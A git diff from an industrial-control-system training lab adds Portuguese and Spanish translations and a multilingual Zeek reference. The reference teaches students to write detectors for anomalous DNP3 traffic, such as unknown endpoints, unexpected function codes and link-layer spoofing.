Operational technology. -- PLC: Programmable logic controller. -- RTU: Remote terminal unit — the field device role typically played by a DNP3 outstation. -- SCADA: Supervisory control and data acquisition. -- TCP: Transmission control protocol. +- DNP3: Distributed Network Protocol version 3 — protocolo SCADA amplamente usado em serviços de eletricidade, água e óleo & gás. +- EWS: Estação de trabalho de engenharia (*engineering workstation*) — o host operado por engenheiros de controlo para configurar, programar e monitorizar dispositivos de campo. +- ICS: Sistema de controlo industrial (*industrial control system*). +- IP: Protocolo de Internet (*internet protocol*). +- MAC: Controlo de acesso ao meio (*media access control*). +- OT: Tecnologia operacional (*operational technology*). +- PLC: Controlador lógico programável (*programmable logic controller*). +- RTU: Unidade terminal remota (*remote terminal unit*) — o papel de dispositivo de campo tipicamente desempenhado por uma outstation DNP3. +- SCADA: Supervisão, controlo e aquisição de dados (*supervisory control and data acquisition*). +- TCP: Protocolo de controlo de transmissão (*transmission control protocol*). -## 🛠️ Usage +## 🛠️ Utilização ``` Usage: ./OTLab14.sh -start [kali|ubuntu] | -stop | -clean | -run | -web | -restart | -status - -start Start the DNP3Lab environment using the specified distro (default: ubuntu) - Valid options: kali (rolling) or ubuntu (22.04) - -run Open a terminal inside the otlab-student container - -web Print the noVNC URL to access the student desktop - -clean Remove containers, volumes, and network - -stop Stop all containers - -restart Restart previously stopped containers - -status Show current containers status + -start Inicia o ambiente do DNP3Lab usando a distro indicada (predefinição: ubuntu) + Opções válidas: kali (rolling) ou ubuntu (22.04) + -run Abre um terminal dentro do contentor otlab-student + -web Mostra o URL noVNC para aceder ao desktop do estudante + -clean Remove contentores, volumes e a rede + -stop Para todos os contentores + -restart Reinicia contentores previamente parados + -status Mostra o estado atual dos contentores ``` > [!NOTE] -> When run on **WSL2**, the script auto-detects the environment and applies the kernel-level rules (`bridge-nf-call-iptables=0` and two `DOCKER-USER` ACCEPT rules) needed for traffic to be routed across the two Docker bridges. These rules require `sudo` and are reverted on `-clean`. On native Linux and macOS Docker Desktop the rules are skipped — Docker's defaults already allow the cross-bridge forwarding. +> Quando executado em **WSL2**, o script deteta automaticamente o ambiente e aplica as regras ao nível do kernel (`bridge-nf-call-iptables=0` e duas regras `DOCKER-USER` ACCEPT) necessárias para que o tráfego seja encaminhado entre as duas *bridges* Docker. Estas regras requerem `sudo` e são revertidas no `-clean`. Em Linux nativo e no Docker Desktop do macOS as regras são ignoradas — as predefinições do Docker já permitem o encaminhamento entre *bridges*. diff --git a/OTLab14/OTLab14.sh b/OTLab14/OTLab14.sh index 18e1a63..057866a 100755 --- a/OTLab14/OTLab14.sh +++ b/OTLab14/OTLab14.sh @@ -29,7 +29,7 @@ show_banner() { echo "| | | | | | |__| .'| . |" echo "|_____| |_| |_____|__,|___|" printf "\033[1;37m" # White and bold - printf "Exercise: DNP3 Protocol Emulation and Traffic Analysis with Wireshark\n" + printf "Exercise: 14-DNP3 Protocol Emulation and Traffic Analysis Using Wireshark\n" printf "Version: 0.3\n" printf "Author: rafaelfarias\n" printf "\033[0m" # Reset all styles diff --git a/OTLab14/index.en.md b/OTLab14/index.en.md new file mode 100644 index 0000000..8c96df0 --- /dev/null +++ b/OTLab14/index.en.md @@ -0,0 +1,16 @@ +--- +title: "Lab 14 - DNP3 Protocol Emulation and Traffic Analysis Using Wireshark" +description: "Emulate DNP3 traffic between a master and an outstation and analyse it with Wireshark on an OT network." +categories: ["Laboratories"] +difficulty: "Advanced" +tags: ["OT", "ICS", "DNP3", "Wireshark", "tshark", "Traffic Analysis", "Packet Capture", "SCADA", "Network Reconnaissance", "Protocol Analysis"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +{{< readfile file="OTLab14-EN.md" >}} + +{{< code-preview title="📝 RESOLUTION" file="OTLab14.sh" >}} + +{{< collapsible title="📖 DNP3 & Wireshark Reference" file="DNP3WiresharkReference-EN.md" >}} diff --git a/OTLab14/index.es.md b/OTLab14/index.es.md new file mode 100644 index 0000000..a4b6bff --- /dev/null +++ b/OTLab14/index.es.md @@ -0,0 +1,16 @@ +--- +title: "Lab 14 - Emulación del protocolo DNP3 y análisis de tráfico con Wireshark" +description: "Emulación de tráfico DNP3 entre un master y una outstation y su análisis con Wireshark en una red OT." +categories: ["Laboratorios"] +difficulty: "Avanzado" +tags: ["OT", "ICS", "DNP3", "Wireshark", "tshark", "Análisis de Tráfico", "Captura de Paquetes", "SCADA", "Reconocimiento de Red", "Análisis de Protocolo"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +{{< readfile file="OTLab14-ES.md" >}} + +{{< code-preview title="📝 RESOLUCIÓN" file="OTLab14.sh" >}} + +{{< collapsible title="📖 Referencia DNP3 & Wireshark" file="DNP3WiresharkReference-ES.md" >}} diff --git a/OTLab14/index.md b/OTLab14/index.md new file mode 100644 index 0000000..888ebb6 --- /dev/null +++ b/OTLab14/index.md @@ -0,0 +1,16 @@ +--- +title: "Lab 14 - Emulação do protocolo DNP3 e análise de tráfego com Wireshark" +description: "Emulação de tráfego DNP3 entre master e outstation e a sua análise com Wireshark numa rede OT." +categories: ["Laboratórios"] +difficulty: "Avançado" +tags: ["OT", "ICS", "DNP3", "Wireshark", "tshark", "Análise de Tráfego", "Captura de Pacotes", "SCADA", "Reconhecimento de Rede", "Análise de Protocolo"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +{{< readfile file="OTLab14.md" >}} + +{{< code-preview title="📝 RESOLUÇÃO" file="OTLab14.sh" >}} + +{{< collapsible title="📖 Referência DNP3 & Wireshark" file="DNP3WiresharkReference.md" >}} diff --git a/OTLab15/DNP3LabZeekReference-EN.md b/OTLab15/DNP3LabZeekReference-EN.md new file mode 100644 index 0000000..7b172c5 --- /dev/null +++ b/OTLab15/DNP3LabZeekReference-EN.md @@ -0,0 +1,222 @@ +# DNP3 Lab — Zeek Reference + +## 1. What this document is + +Three things, in order of how often you'll reach for each: + +1. **Zeek essentials** (§2) — the minimum vocabulary you need to read the events firing in `dnp3.log` and write the detectors `local.zeek` is wired to load. +2. **One fully worked detector** (§3) — `unknown-endpoint.zeek` from end to end, with every non-obvious line annotated. Use as the template for your own. +3. **Pattern sketches** (§4) — for the remaining core detectors (`unexpected-function-code.zeek`, `link-vs-ip-mismatch.zeek`), the Zeek event surface to hook plus the key idiom, with the actual handler body left for you to fill. + +## 2. Zeek essentials for OTLab15 + +### 2.1 The event-driven execution model + +Zeek scripts are **event handlers**. You don't write a `main`; you write functions that fire when Zeek's protocol analysers parse something out of the packet stream. The DNP3 events you will meet in this lab are: + +| Event | Fires when | +| ------------------------------------------------------------------------------ | --------------------------------------------------------- | +| `new_connection(c)` | Zeek sees the first packet of any new TCP/UDP flow | +| `dnp3_application_request_header(c, is_orig, application, fc)` | DNP3 analyser parses a request header | +| `dnp3_application_response_header(c, is_orig, application, fc, iin)` | DNP3 analyser parses a response header | +| `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)` | Every DNP3 link-layer header — exposes the link addresses | + +Every one of them carries a `c: connection` as the first parameter — see §2.2. Multiple handlers may subscribe to the same event; Zeek runs them all in registration order. Order is rarely something you need to care about. + +### 2.2 The `connection` record + +Most fields you'll touch live under `c$id`: + +```zeek +c$id$orig_h # addr — IP that opened the TCP connection +c$id$resp_h # addr — IP that answered +c$id$orig_p # port — source port (e.g., 54321/tcp) +c$id$resp_p # port — destination port (e.g., 20000/tcp) +c$uid # string — unique connection id, used across all logs +``` + +Note the dollar-sign accessor: Zeek records are `c$field`, not `c.field`. + +`c$id$resp_p == 20000/tcp` is how you check the destination port is DNP3. The literal `20000/tcp` is a `port` value, not an integer — Zeek's type system tags ports with their transport so `20000/tcp != 20000/udp`. + +### 2.3 Sets, tables, and the `in` / `!in` operators + +The whole baseline-allowlist machinery rests on two collection types: + +```zeek +# A set of addresses (no duplicates, no ordering). +const expected_endpoints: set[addr] = { 192.168.20.10, 192.168.21.20 } &redef; + +# A table mapping link address → expected IP. +const link_addr_to_ip: table[count] of addr = { + [1] = 192.168.20.10, + [2] = 192.168.21.20, +} &redef; +``` + +Membership tests are infix: + +```zeek +if ( my_ip !in expected_endpoints ) { ... } # IP not in the allowlist +if ( link_addr in link_addr_to_ip ) { ... } # link addr is known +``` + +Table lookup is `t[k]`, identical to most languages. `&redef` makes the constant overridable from another script (handy when `local.zeek` decides to widen the allowlist for a specific run without editing `baseline.zeek`). + +### 2.4 Modules and namespacing + +Every detector in this lab belongs to either `DNP3Baseline` (the allowlists in `baseline.zeek`) or `DNP3Anomaly` (the notices the detectors raise). To put a declaration in a module, start the file with `module X;`: + +```zeek +module DNP3Anomaly; + +export { + # exported declarations — visible as DNP3Anomaly::Foo from outside +} +``` + +References across modules use `Module::name`: + +```zeek +if ( c$id$orig_h !in DNP3Baseline::expected_endpoints ) { ... } +``` + +Why one shared `DNP3Anomaly` module across three detectors instead of three separate modules? Because all the notices belong to one logical family — the namespace `DNP3Anomaly::Unknown_Endpoint`, `DNP3Anomaly::Unexpected_Function_Code`, ... reads better in `notice.log` than `UnknownEndpoint::Note`, `UnexpectedFC::Note`, ... + +### 2.5 The Notice framework + +Raising an alert is one function call: + +```zeek +NOTICE([$note = DNP3Anomaly::Unknown_Endpoint, + $msg = "DNP3 endpoint outside expected set", + $conn = c]); +``` + +Key conventions: + +- `$note` — an enum value you declared with `redef enum Notice::Type += { Foo };` inside an `export {}` block. +- `$msg` — free-form human-readable string. Use `fmt(...)` for formatting (like `printf`); `%s` works for both `addr` and `string`, `%d` for `count`. +- `$conn = c` — passes the whole connection in. The Notice framework then auto-fills `id.orig_h`, `id.resp_h`, `uid`, and the timestamp in `notice.log`. Without `$conn`, you would have to set `$src` and `$dst` by hand. + +Suppression is automatic: Zeek's default is to silence duplicate notices (same `note`, same `src`, same `dst`) for one hour. A `scan` attack with 1024 SYNs from one IP produces exactly one `Unknown_Endpoint` notice, not 1024. You almost never need to override this. + +## 3. Worked example — `unknown-endpoint.zeek` + +The full file: + +```zeek +##! Notice when a DNP3 conversation involves an endpoint outside +##! DNP3Baseline::expected_endpoints. +##! +##! References: +##! - DNP3 events: https://docs.zeek.org/en/master/scripts/base/bif/plugins/Zeek_DNP3.events.bif.zeek.html +##! - Notice framework: https://docs.zeek.org/en/master/frameworks/notice.html + +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { + ## A DNP3 request or response was seen with an endpoint not in + ## DNP3Baseline::expected_endpoints. + Unknown_Endpoint, + }; +} + +# Shared check. c$id$orig_h is the IP that opened the TCP connection; +# c$id$resp_h is the side that answered. Either being outside the allowlist +# is enough to flag the whole flow. `kind` is just the word ("request" / +# "response") that ends up in the notice, so request and response can share +# one body instead of two near-identical copies. +function check_endpoints(c: connection, kind: string, fc: count) + { + local o = c$id$orig_h; + local r = c$id$resp_h; + + if ( o !in DNP3Baseline::expected_endpoints || + r !in DNP3Baseline::expected_endpoints ) + NOTICE([$note = Unknown_Endpoint, + $msg = fmt("DNP3 %s on flow %s -> %s (fc=%d): endpoint outside expected set", + kind, o, r, fc), + $conn = c]); + } + +# Request side. +event dnp3_application_request_header(c: connection, is_orig: bool, + application: count, fc: count) + { + check_endpoints(c, "request", fc); + } + +# Response side — same check, different event. We must cover both because the +# DNP3 spec lets the outstation publish unsolicited responses; a spoofed one +# would otherwise slip through. +event dnp3_application_response_header(c: connection, is_orig: bool, + application: count, fc: count, iin: count) + { + check_endpoints(c, "response", fc); + } +``` + +### Walkthrough — the four lines that matter + +1. **`@load ../baseline.zeek`** — pulls in the allowlist constants. Without this, `DNP3Baseline::expected_endpoints` is unresolved and Zeek refuses to start. +2. **`module DNP3Anomaly; export { redef enum Notice::Type += { ... } }`** — adds a new value to the global `Notice::Type` enum. The `export` block is necessary for the enum value to be visible outside the module (so `notice.log` can label rows with it). +3. **`o !in DNP3Baseline::expected_endpoints || r !in ...`** — set-membership check. Either side outside is enough to flag the conversation. Using `local` bindings (`o`, `r`) avoids repeating `c$id$orig_h` and makes the `fmt` arguments shorter. +4. **`function check_endpoints(c, kind, fc)`** — the request and response events carry the *same* check, so the body lives in one helper and each handler is a single call. `kind` is the only thing that differs (the word in the notice), passed in as a `string`. One place to fix if the rule changes — no copy to drift out of sync. +5. **`NOTICE([$note=..., $msg=..., $conn=c])`** — record-literal construction passed to a function. `$conn=c` is the auto-fill trick from §2.5. + +### Stretch — catching `scan` before any DNP3 PDU is parsed + +The `scan` attack rains TCP SYNs on port 20000. The handshake never completes, so no `dnp3_application_request_header` ever fires — and the detector above stays silent during pure scanning. To catch those, subscribe to `new_connection` and flag any flow with `c$id$resp_p == 20000/tcp` whose `orig_h` is outside the allowlist. Two events, one detector, full coverage. Left as exercise. + +## 4. Pattern sketches for the other core cycles + +### 4.1 `unexpected-function-code.zeek` (fingerprint cycle) + +**Event surface.** Same two events as §3: `dnp3_application_request_header` exposes `fc: count` directly; `dnp3_application_response_header` does too. + +**Where the pattern bites.** `fc_request` in `dnp3.log` is the textual name (`READ`, `RESPONSE`, ...). `fc` in the event is the numeric code. Your allowlist must use the numbers (0x01, 0x81, 0x00, 0x82) — see the hint in `baseline.zeek`. + +**Edge case.** Zeek's binpac parser may skip the request event for unassigned function codes. The response side still fires with an `iin` error reply — that's your fallback signal. See the hint in OTLab15.md task 2.2. + +### 4.2 `link-vs-ip-mismatch.zeek` (spoof cycle) + +**Event surface.** `dnp3_header_block` — Zeek surfaces the DNP3 link-layer source and destination addresses, which never appear in `dnp3.log`. This is the only way to cross-check the link-layer identity against the IP carrying the frame. + +**Why the `is_orig` branch matters.** A DNP3 frame can come from either side of the TCP connection. `is_orig=T` means the originator sent the frame, so the link source maps to `c$id$orig_h`. `is_orig=F` flips it. Skipping this branch produces false positives on every legitimate response. + +## 5. `zeek-cut` and JSON recipes + +`zeek-cut` extracts named columns from Zeek's default TSV logs. The `-d` flag rewrites `ts` from epoch to ISO 8601. Pipe to `column -t -s $'\t'` for aligned output. + +```bash +# notice.log — the detector outputs +zeek-cut -d ts note src dst msg < notice.log | column -t -s $'\t' + +# conn.log — every flow Zeek saw, with the DPD service name +zeek-cut -d ts uid id.orig_h id.resp_h id.resp_p proto service conn_state < conn.log + +# dnp3.log — DNP3 function codes on the wire +zeek-cut -d ts uid id.orig_h id.resp_h fc_request fc_reply < dnp3.log + +# Unique note types fired in a run (sanity check) +zeek-cut note < notice.log | sort -u +``` + +If you prefer JSON, restart Zeek with the JSON LogAscii flag and use `jq`: + +```bash +zeek -C LogAscii::use_json=T -i eth1 /opt/zeek-lab/local.zeek +jq -c '{ts, note, src, dst, msg}' < notice.log +``` + +## 6. Official Zeek docs + +- [conn.log](https://docs.zeek.org/en/master/logs/conn.html) — fields and connection states +- [dnp3.log fields](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — `DNP3::Info` record definition +- [DNP3 events](https://docs.zeek.org/en/master/scripts/base/bif/plugins/Zeek_DNP3.events.bif.zeek.html) — every `dnp3_*` event signature +- [Notice framework](https://docs.zeek.org/en/master/frameworks/notice.html) — `Notice::Info`, `Notice::policy`, suppression +- [Scripting language reference](https://docs.zeek.org/en/master/script-reference/index.html) — types, operators, records, `&redef` diff --git a/OTLab15/DNP3LabZeekReference-ES.md b/OTLab15/DNP3LabZeekReference-ES.md new file mode 100644 index 0000000..da9a944 --- /dev/null +++ b/OTLab15/DNP3LabZeekReference-ES.md @@ -0,0 +1,222 @@ +# DNP3 Lab — Referencia Zeek + +## 1. Qué es este documento + +Tres cosas, por orden de la frecuencia con que recurrirás a cada una: + +1. **Esenciales de Zeek** (§2) — el vocabulario mínimo que necesitas para leer los eventos que disparan en el `dnp3.log` y escribir los detectores que el `local.zeek` está preparado para cargar. +2. **Un detector totalmente resuelto** (§3) — el `unknown-endpoint.zeek` de principio a fin, con cada línea no obvia anotada. Úsalo como plantilla para los tuyos. +3. **Bocetos de patrón** (§4) — para los detectores centrales restantes (`unexpected-function-code.zeek`, `link-vs-ip-mismatch.zeek`), la superficie de eventos Zeek a enganchar más el idioma clave, dejando el cuerpo del handler para que lo rellenes. + +## 2. Esenciales de Zeek para el OTLab15 + +### 2.1 El modelo de ejecución orientado a eventos + +Los scripts Zeek son **event handlers**. No escribes un `main`; escribes funciones que disparan cuando los analizadores de protocolo de Zeek extraen algo del flujo de paquetes. Los eventos DNP3 que encontrarás en este laboratorio son: + +| Evento | Dispara cuando | +| ------------------------------------------------------------------------------ | --------------------------------------------------------- | +| `new_connection(c)` | Zeek ve el primer paquete de cualquier nuevo flujo TCP/UDP | +| `dnp3_application_request_header(c, is_orig, application, fc)` | El analizador DNP3 procesa una cabecera de petición | +| `dnp3_application_response_header(c, is_orig, application, fc, iin)` | El analizador DNP3 procesa una cabecera de respuesta | +| `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)` | Cada cabecera de capa de enlace DNP3 — expone las direcciones de enlace | + +Cada uno de ellos transporta un `c: connection` como primer parámetro — ver §2.2. Varios handlers pueden suscribirse al mismo evento; Zeek los ejecuta todos por orden de registro. El orden rara vez es algo de lo que tengas que preocuparte. + +### 2.2 El registro `connection` + +La mayoría de los campos que tocarás viven bajo `c$id`: + +```zeek +c$id$orig_h # addr — IP que abrió la conexión TCP +c$id$resp_h # addr — IP que respondió +c$id$orig_p # port — puerto de origen (p. ej., 54321/tcp) +c$id$resp_p # port — puerto de destino (p. ej., 20000/tcp) +c$uid # string — id único de la conexión, usado en todos los logs +``` + +Fíjate en el accesor con signo de dólar: los registros Zeek son `c$field`, no `c.field`. + +`c$id$resp_p == 20000/tcp` es como compruebas que el puerto de destino es DNP3. El literal `20000/tcp` es un valor `port`, no un entero — el sistema de tipos de Zeek marca los puertos con su transporte, por lo que `20000/tcp != 20000/udp`. + +### 2.3 Conjuntos, tablas y los operadores `in` / `!in` + +Toda la maquinaria de allowlist de la baseline se apoya en dos tipos de colección: + +```zeek +# Un conjunto de direcciones (sin duplicados, sin ordenación). +const expected_endpoints: set[addr] = { 192.168.20.10, 192.168.21.20 } &redef; + +# Una tabla que mapea dirección de enlace → IP esperada. +const link_addr_to_ip: table[count] of addr = { + [1] = 192.168.20.10, + [2] = 192.168.21.20, +} &redef; +``` + +Las pruebas de pertenencia son infijas: + +```zeek +if ( my_ip !in expected_endpoints ) { ... } # IP fuera de la allowlist +if ( link_addr in link_addr_to_ip ) { ... } # dirección de enlace conocida +``` + +La consulta de tabla es `t[k]`, idéntica a la de la mayoría de los lenguajes. `&redef` hace la constante sustituible desde otro script (útil cuando el `local.zeek` decide ampliar la allowlist para una ejecución específica sin editar el `baseline.zeek`). + +### 2.4 Módulos y namespacing + +Cada detector en este laboratorio pertenece a `DNP3Baseline` (las allowlists en `baseline.zeek`) o a `DNP3Anomaly` (los notices que los detectores levantan). Para colocar una declaración en un módulo, empieza el fichero con `module X;`: + +```zeek +module DNP3Anomaly; + +export { + # declaraciones exportadas — visibles como DNP3Anomaly::Foo desde el exterior +} +``` + +Las referencias entre módulos usan `Module::name`: + +```zeek +if ( c$id$orig_h !in DNP3Baseline::expected_endpoints ) { ... } +``` + +¿Por qué un único módulo `DNP3Anomaly` compartido entre tres detectores, en lugar de tres módulos separados? Porque todos los notices pertenecen a una familia lógica — el namespace `DNP3Anomaly::Unknown_Endpoint`, `DNP3Anomaly::Unexpected_Function_Code`, ... se lee mejor en el `notice.log` que `UnknownEndpoint::Note`, `UnexpectedFC::Note`, ... + +### 2.5 El framework Notice + +Levantar una alerta es una sola llamada de función: + +```zeek +NOTICE([$note = DNP3Anomaly::Unknown_Endpoint, + $msg = "DNP3 endpoint outside expected set", + $conn = c]); +``` + +Convenciones clave: + +- `$note` — un valor enum que declaraste con `redef enum Notice::Type += { Foo };` dentro de un bloque `export {}`. +- `$msg` — string libre legible por humanos. Usa `fmt(...)` para formateo (como `printf`); `%s` funciona para `addr` y `string`, `%d` para `count`. +- `$conn = c` — pasa la conexión entera. El framework Notice rellena entonces automáticamente `id.orig_h`, `id.resp_h`, `uid` y el timestamp en el `notice.log`. Sin `$conn`, tendrías que definir `$src` y `$dst` a mano. + +La supresión es automática: Zeek, por defecto, silencia notices duplicados (mismo `note`, mismo `src`, mismo `dst`) durante una hora. Un ataque `scan` con 1024 SYNs de una IP produce exactamente un notice `Unknown_Endpoint`, no 1024. Casi nunca necesitas sustituirlo. + +## 3. Ejemplo resuelto — `unknown-endpoint.zeek` + +El fichero completo: + +```zeek +##! Notice when a DNP3 conversation involves an endpoint outside +##! DNP3Baseline::expected_endpoints. +##! +##! References: +##! - DNP3 events: https://docs.zeek.org/en/master/scripts/base/bif/plugins/Zeek_DNP3.events.bif.zeek.html +##! - Notice framework: https://docs.zeek.org/en/master/frameworks/notice.html + +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { + ## A DNP3 request or response was seen with an endpoint not in + ## DNP3Baseline::expected_endpoints. + Unknown_Endpoint, + }; +} + +# Shared check. c$id$orig_h is the IP that opened the TCP connection; +# c$id$resp_h is the side that answered. Either being outside the allowlist +# is enough to flag the whole flow. `kind` is just the word ("request" / +# "response") that ends up in the notice, so request and response can share +# one body instead of two near-identical copies. +function check_endpoints(c: connection, kind: string, fc: count) + { + local o = c$id$orig_h; + local r = c$id$resp_h; + + if ( o !in DNP3Baseline::expected_endpoints || + r !in DNP3Baseline::expected_endpoints ) + NOTICE([$note = Unknown_Endpoint, + $msg = fmt("DNP3 %s on flow %s -> %s (fc=%d): endpoint outside expected set", + kind, o, r, fc), + $conn = c]); + } + +# Request side. +event dnp3_application_request_header(c: connection, is_orig: bool, + application: count, fc: count) + { + check_endpoints(c, "request", fc); + } + +# Response side — same check, different event. We must cover both because the +# DNP3 spec lets the outstation publish unsolicited responses; a spoofed one +# would otherwise slip through. +event dnp3_application_response_header(c: connection, is_orig: bool, + application: count, fc: count, iin: count) + { + check_endpoints(c, "response", fc); + } +``` + +### Análisis — las cuatro líneas que importan + +1. **`@load ../baseline.zeek`** — trae las constantes de allowlist. Sin esto, `DNP3Baseline::expected_endpoints` queda sin resolver y Zeek se niega a arrancar. +2. **`module DNP3Anomaly; export { redef enum Notice::Type += { ... } }`** — añade un nuevo valor al enum global `Notice::Type`. El bloque `export` es necesario para que el valor del enum sea visible fuera del módulo (para que el `notice.log` pueda etiquetar filas con él). +3. **`o !in DNP3Baseline::expected_endpoints || r !in ...`** — prueba de pertenencia a conjunto. Cualquiera de los lados fuera basta para señalar la conversación. Usar enlaces `local` (`o`, `r`) evita repetir `c$id$orig_h` y acorta los argumentos del `fmt`. +4. **`function check_endpoints(c, kind, fc)`** — los eventos de petición y de respuesta llevan la *misma* comprobación, por lo que el cuerpo vive en un único auxiliar y cada handler es una sola llamada. `kind` es lo único que difiere (la palabra en el notice), pasada como `string`. Un único sitio que corregir si la regla cambia — sin copia que se desincronice. +5. **`NOTICE([$note=..., $msg=..., $conn=c])`** — construcción de literal-registro pasada a una función. `$conn=c` es el truco de autorrelleno de la §2.5. + +### Extensión — atrapar el `scan` antes de que se procese cualquier PDU DNP3 + +El ataque `scan` arroja SYNs TCP al puerto 20000. El handshake nunca se completa, por lo que ningún `dnp3_application_request_header` dispara — y el detector anterior permanece en silencio durante el barrido puro. Para atraparlos, suscríbete a `new_connection` y señala cualquier flujo con `c$id$resp_p == 20000/tcp` cuyo `orig_h` esté fuera de la allowlist. Dos eventos, un detector, cobertura total. Dejado como ejercicio. + +## 4. Bocetos de patrón para los otros ciclos centrales + +### 4.1 `unexpected-function-code.zeek` (ciclo fingerprint) + +**Superficie de eventos.** Los mismos dos eventos de la §3: `dnp3_application_request_header` expone `fc: count` directamente; `dnp3_application_response_header` también. + +**Dónde actúa el patrón.** `fc_request` en el `dnp3.log` es el nombre textual (`READ`, `RESPONSE`, ...). `fc` en el evento es el código numérico. Tu allowlist debe usar los números (0x01, 0x81, 0x00, 0x82) — ve la pista en el `baseline.zeek`. + +**Caso límite.** El parser binpac de Zeek puede saltarse el evento de petición para códigos de función no asignados. El lado de respuesta aún dispara con una respuesta de error `iin` — esa es tu señal de respaldo. Ve la pista en la tarea 2.2 del OTLab15.md. + +### 4.2 `link-vs-ip-mismatch.zeek` (ciclo spoof) + +**Superficie de eventos.** `dnp3_header_block` — Zeek expone las direcciones de origen y destino de la capa de enlace DNP3, que nunca aparecen en el `dnp3.log`. Esta es la única forma de contrastar la identidad de la capa de enlace con la IP que transporta la trama. + +**Por qué importa la rama `is_orig`.** Una trama DNP3 puede venir de cualquier lado de la conexión TCP. `is_orig=T` significa que el originador envió la trama, por lo que el origen de enlace mapea a `c$id$orig_h`. `is_orig=F` lo invierte. Saltarse esta rama produce falsos positivos en cada respuesta legítima. + +## 5. Recetas `zeek-cut` y JSON + +El `zeek-cut` extrae columnas con nombre de los logs TSV por defecto de Zeek. La flag `-d` reescribe `ts` de epoch a ISO 8601. Encadena a `column -t -s $'\t'` para una salida alineada. + +```bash +# notice.log — the detector outputs +zeek-cut -d ts note src dst msg < notice.log | column -t -s $'\t' + +# conn.log — every flow Zeek saw, with the DPD service name +zeek-cut -d ts uid id.orig_h id.resp_h id.resp_p proto service conn_state < conn.log + +# dnp3.log — DNP3 function codes on the wire +zeek-cut -d ts uid id.orig_h id.resp_h fc_request fc_reply < dnp3.log + +# Unique note types fired in a run (sanity check) +zeek-cut note < notice.log | sort -u +``` + +Si prefieres JSON, reinicia Zeek con la flag JSON del LogAscii y usa `jq`: + +```bash +zeek -C LogAscii::use_json=T -i eth1 /opt/zeek-lab/local.zeek +jq -c '{ts, note, src, dst, msg}' < notice.log +``` + +## 6. Documentación oficial de Zeek + +- [conn.log](https://docs.zeek.org/en/master/logs/conn.html) — campos y estados de conexión +- [dnp3.log fields](https://docs.zeek.org/en/master/scripts/base/protocols/dnp3/main.zeek.html) — definición del registro `DNP3::Info` +- [DNP3 events](https://docs.zeek.org/en/master/scripts/base/bif/plugins/Zeek_DNP3.events.bif.zeek.html) — firma de cada evento `dnp3_*` +- [Notice framework](https://docs.zeek.org/en/master/frameworks/notice.html) — `Notice::Info`, `Notice::policy`, supresión +- [Scripting language reference](https://docs.zeek.org/en/master/script-reference/index.html) — tipos, operadores, registros, `&redef` diff --git a/OTLab15/DNP3LabZeekReference.md b/OTLab15/DNP3LabZeekReference.md index 7b172c5..f029022 100644 --- a/OTLab15/DNP3LabZeekReference.md +++ b/OTLab15/DNP3LabZeekReference.md @@ -1,91 +1,91 @@ -# DNP3 Lab — Zeek Reference +# DNP3 Lab — Referência Zeek -## 1. What this document is +## 1. O que é este documento -Three things, in order of how often you'll reach for each: +Três coisas, por ordem da frequência com que recorrerás a cada uma: -1. **Zeek essentials** (§2) — the minimum vocabulary you need to read the events firing in `dnp3.log` and write the detectors `local.zeek` is wired to load. -2. **One fully worked detector** (§3) — `unknown-endpoint.zeek` from end to end, with every non-obvious line annotated. Use as the template for your own. -3. **Pattern sketches** (§4) — for the remaining core detectors (`unexpected-function-code.zeek`, `link-vs-ip-mismatch.zeek`), the Zeek event surface to hook plus the key idiom, with the actual handler body left for you to fill. +1. **Essenciais de Zeek** (§2) — o vocabulário mínimo de que precisas para ler os eventos que disparam no `dnp3.log` e escrever os detetores que o `local.zeek` está preparado para carregar. +2. **Um detetor totalmente resolvido** (§3) — o `unknown-endpoint.zeek` de ponta a ponta, com cada linha não-óbvia anotada. Usa-o como modelo para os teus. +3. **Esboços de padrão** (§4) — para os restantes detetores centrais (`unexpected-function-code.zeek`, `link-vs-ip-mismatch.zeek`), a superfície de eventos Zeek a ligar mais o idioma-chave, deixando o corpo do handler para tu preencheres. -## 2. Zeek essentials for OTLab15 +## 2. Essenciais de Zeek para o OTLab15 -### 2.1 The event-driven execution model +### 2.1 O modelo de execução orientado a eventos -Zeek scripts are **event handlers**. You don't write a `main`; you write functions that fire when Zeek's protocol analysers parse something out of the packet stream. The DNP3 events you will meet in this lab are: +Os scripts Zeek são **event handlers**. Não escreves um `main`; escreves funções que disparam quando os analisadores de protocolo do Zeek extraem algo do fluxo de pacotes. Os eventos DNP3 que vais encontrar neste laboratório são: -| Event | Fires when | +| Evento | Dispara quando | | ------------------------------------------------------------------------------ | --------------------------------------------------------- | -| `new_connection(c)` | Zeek sees the first packet of any new TCP/UDP flow | -| `dnp3_application_request_header(c, is_orig, application, fc)` | DNP3 analyser parses a request header | -| `dnp3_application_response_header(c, is_orig, application, fc, iin)` | DNP3 analyser parses a response header | -| `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)` | Every DNP3 link-layer header — exposes the link addresses | +| `new_connection(c)` | O Zeek vê o primeiro pacote de qualquer novo fluxo TCP/UDP | +| `dnp3_application_request_header(c, is_orig, application, fc)` | O analisador DNP3 processa um cabeçalho de pedido | +| `dnp3_application_response_header(c, is_orig, application, fc, iin)` | O analisador DNP3 processa um cabeçalho de resposta | +| `dnp3_header_block(c, is_orig, len, ctrl, dest_addr, src_addr)` | Cada cabeçalho de camada de ligação DNP3 — expõe os endereços de ligação | -Every one of them carries a `c: connection` as the first parameter — see §2.2. Multiple handlers may subscribe to the same event; Zeek runs them all in registration order. Order is rarely something you need to care about. +Cada um deles transporta um `c: connection` como primeiro parâmetro — ver §2.2. Vários handlers podem subscrever o mesmo evento; o Zeek executa-os todos por ordem de registo. A ordem raramente é algo com que tenhas de te preocupar. -### 2.2 The `connection` record +### 2.2 O registo `connection` -Most fields you'll touch live under `c$id`: +A maioria dos campos que vais tocar vivem sob `c$id`: ```zeek -c$id$orig_h # addr — IP that opened the TCP connection -c$id$resp_h # addr — IP that answered -c$id$orig_p # port — source port (e.g., 54321/tcp) -c$id$resp_p # port — destination port (e.g., 20000/tcp) -c$uid # string — unique connection id, used across all logs +c$id$orig_h # addr — IP que abriu a conexão TCP +c$id$resp_h # addr — IP que respondeu +c$id$orig_p # port — porta de origem (ex.: 